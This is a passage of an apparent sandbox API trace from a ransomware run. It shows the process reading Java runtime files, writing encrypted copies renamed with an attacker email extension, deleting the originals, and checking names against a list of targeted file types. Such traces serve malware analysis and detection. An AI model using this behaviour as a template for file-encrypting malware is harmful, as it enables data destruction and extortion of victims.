0x388 [0300.601] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69184) returned 1 [0300.601] CloseHandle (hObject=0x388) returned 1 [0300.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0300.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.601] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.601] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.601] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.601] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0300.602] GetLastError () returned 0x0 [0300.602] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x10e40, lpOverlapped=0x0) returned 1 [0300.619] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x10e50, lpOverlapped=0x0) returned 1 [0300.621] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.621] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf2, lpOverlapped=0x0) returned 1 [0300.621] SetEndOfFile (hFile=0x360) returned 1 [0300.621] CloseHandle (hObject=0x360) returned 1 [0300.621] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.621] SetEndOfFile (hFile=0x388) returned 1 [0300.623] CloseHandle (hObject=0x388) returned 1 [0300.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.623] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1 [0300.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.623] lstrlenW (lpString=".doc") returned 4 [0300.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.623] lstrlenW (lpString=".docx") returned 5 [0300.623] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0300.623] lstrlenW (lpString=".pdf") returned 4 [0300.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.624] lstrlenW (lpString=".xls") returned 4 [0300.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.624] lstrlenW (lpString=".xlsx") returned 5 [0300.624] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0300.624] lstrlenW (lpString=".ppt") returned 4 [0300.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.624] lstrlenW (lpString=".zip") returned 4 [0300.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.624] lstrlenW (lpString=".rar") returned 4 [0300.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.624] lstrlenW (lpString=".bz2") returned 4 [0300.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.624] lstrlenW (lpString=".7z") returned 3 [0300.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.624] lstrlenW (lpString=".dbf") returned 4 [0300.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.624] lstrlenW (lpString=".1cd") returned 4 [0300.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.624] lstrlenW (lpString=".jpg") returned 4 [0300.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.625] lstrlenW (lpString=".doc") returned 4 [0300.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.625] lstrlenW (lpString=".docx") returned 5 [0300.625] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0300.625] lstrlenW (lpString=".pdf") returned 4 [0300.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.625] lstrlenW (lpString=".xls") returned 4 [0300.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.625] lstrlenW (lpString=".xlsx") returned 5 [0300.625] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0300.625] lstrlenW (lpString=".ppt") returned 4 [0300.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.625] lstrlenW (lpString=".zip") returned 4 [0300.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.625] lstrlenW (lpString=".rar") returned 4 [0300.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.625] lstrlenW (lpString=".bz2") returned 4 [0300.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.625] lstrlenW (lpString=".7z") returned 3 [0300.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.625] lstrlenW (lpString=".dbf") returned 4 [0300.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.625] lstrlenW (lpString=".1cd") returned 4 [0300.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0300.626] lstrlenW (lpString=".jpg") returned 4 [0300.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.626] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.626] lstrlenW (lpString="javafx_iio.dll") returned 14 [0300.626] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.627] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=128064) returned 1 [0300.627] CloseHandle (hObject=0x388) returned 1 [0300.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0300.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.627] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.628] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0300.628] GetLastError () returned 0x0 [0300.628] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x1f440, lpOverlapped=0x0) returned 1 [0301.213] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x1f450, lpOverlapped=0x0) returned 1 [0301.216] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.216] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf0, lpOverlapped=0x0) returned 1 [0301.216] SetEndOfFile (hFile=0x360) returned 1 [0301.216] CloseHandle (hObject=0x360) returned 1 [0301.216] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.216] SetEndOfFile (hFile=0x388) returned 1 [0301.218] CloseHandle (hObject=0x388) returned 1 [0301.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0301.218] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1 [0301.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.218] lstrlenW (lpString=".doc") returned 4 [0301.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.218] lstrlenW (lpString=".docx") returned 5 [0301.218] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0301.218] lstrlenW (lpString=".pdf") returned 4 [0301.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.218] lstrlenW (lpString=".xls") returned 4 [0301.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.218] lstrlenW (lpString=".xlsx") returned 5 [0301.218] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0301.218] lstrlenW (lpString=".ppt") returned 4 [0301.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.219] lstrlenW (lpString=".zip") returned 4 [0301.219] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.219] lstrlenW (lpString=".rar") returned 4 [0301.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.219] lstrlenW (lpString=".bz2") returned 4 [0301.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.219] lstrlenW (lpString=".7z") returned 3 [0301.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.219] lstrlenW (lpString=".dbf") returned 4 [0301.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.219] lstrlenW (lpString=".1cd") returned 4 [0301.219] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.219] lstrlenW (lpString=".jpg") returned 4 [0301.219] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.219] lstrlenW (lpString=".doc") returned 4 [0301.219] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.219] lstrlenW (lpString=".docx") returned 5 [0301.219] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0301.219] lstrlenW (lpString=".pdf") returned 4 [0301.219] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.219] lstrlenW (lpString=".xls") returned 4 [0301.219] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.219] lstrlenW (lpString=".xlsx") returned 5 [0301.220] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0301.220] lstrlenW (lpString=".ppt") returned 4 [0301.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.220] lstrlenW (lpString=".zip") returned 4 [0301.220] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString=".rar") returned 4 [0301.220] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString=".bz2") returned 4 [0301.220] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.220] lstrlenW (lpString=".7z") returned 3 [0301.220] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.220] lstrlenW (lpString=".dbf") returned 4 [0301.220] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.220] lstrlenW (lpString=".1cd") returned 4 [0301.220] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0301.220] lstrlenW (lpString=".jpg") returned 4 [0301.220] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.220] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0301.220] lstrlenW (lpString="jjs.exe") returned 7 [0301.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0301.221] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=15936) returned 1 [0301.221] CloseHandle (hObject=0x388) returned 1 [0301.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0301.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0301.222] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.222] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0301.891] GetLastError () returned 0x0 [0301.891] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0302.080] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0302.081] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.081] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe2, lpOverlapped=0x0) returned 1 [0302.081] SetEndOfFile (hFile=0x398) returned 1 [0302.081] CloseHandle (hObject=0x398) returned 1 [0302.081] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.082] SetEndOfFile (hFile=0x388) returned 1 [0302.082] CloseHandle (hObject=0x388) returned 1 [0302.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.083] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0302.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.083] lstrlenW (lpString=".doc") returned 4 [0302.083] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.083] lstrlenW (lpString=".docx") returned 5 [0302.083] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0302.083] lstrlenW (lpString=".pdf") returned 4 [0302.083] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.083] lstrlenW (lpString=".xls") returned 4 [0302.083] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.083] lstrlenW (lpString=".xlsx") returned 5 [0302.084] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0302.084] lstrlenW (lpString=".ppt") returned 4 [0302.084] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.084] lstrlenW (lpString=".zip") returned 4 [0302.084] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.084] lstrlenW (lpString=".rar") returned 4 [0302.084] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.084] lstrlenW (lpString=".bz2") returned 4 [0302.084] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.084] lstrlenW (lpString=".7z") returned 3 [0302.084] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.084] lstrlenW (lpString=".dbf") returned 4 [0302.084] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.084] lstrlenW (lpString=".1cd") returned 4 [0302.084] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.084] lstrlenW (lpString=".jpg") returned 4 [0302.084] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.084] lstrlenW (lpString=".doc") returned 4 [0302.085] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.085] lstrlenW (lpString=".docx") returned 5 [0302.085] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0302.085] lstrlenW (lpString=".pdf") returned 4 [0302.085] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.085] lstrlenW (lpString=".xls") returned 4 [0302.085] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.085] lstrlenW (lpString=".xlsx") returned 5 [0302.085] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0302.085] lstrlenW (lpString=".ppt") returned 4 [0302.085] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.085] lstrlenW (lpString=".zip") returned 4 [0302.085] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.085] lstrlenW (lpString=".rar") returned 4 [0302.085] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.085] lstrlenW (lpString=".bz2") returned 4 [0302.085] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.085] lstrlenW (lpString=".7z") returned 3 [0302.085] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.085] lstrlenW (lpString=".dbf") returned 4 [0302.085] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.085] lstrlenW (lpString=".1cd") returned 4 [0302.085] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0302.085] lstrlenW (lpString=".jpg") returned 4 [0302.085] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.086] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.086] lstrlenW (lpString="jp2native.dll") returned 13 [0302.086] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.086] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=20032) returned 1 [0302.086] CloseHandle (hObject=0x388) returned 1 [0302.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0302.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.087] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.087] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0302.087] GetLastError () returned 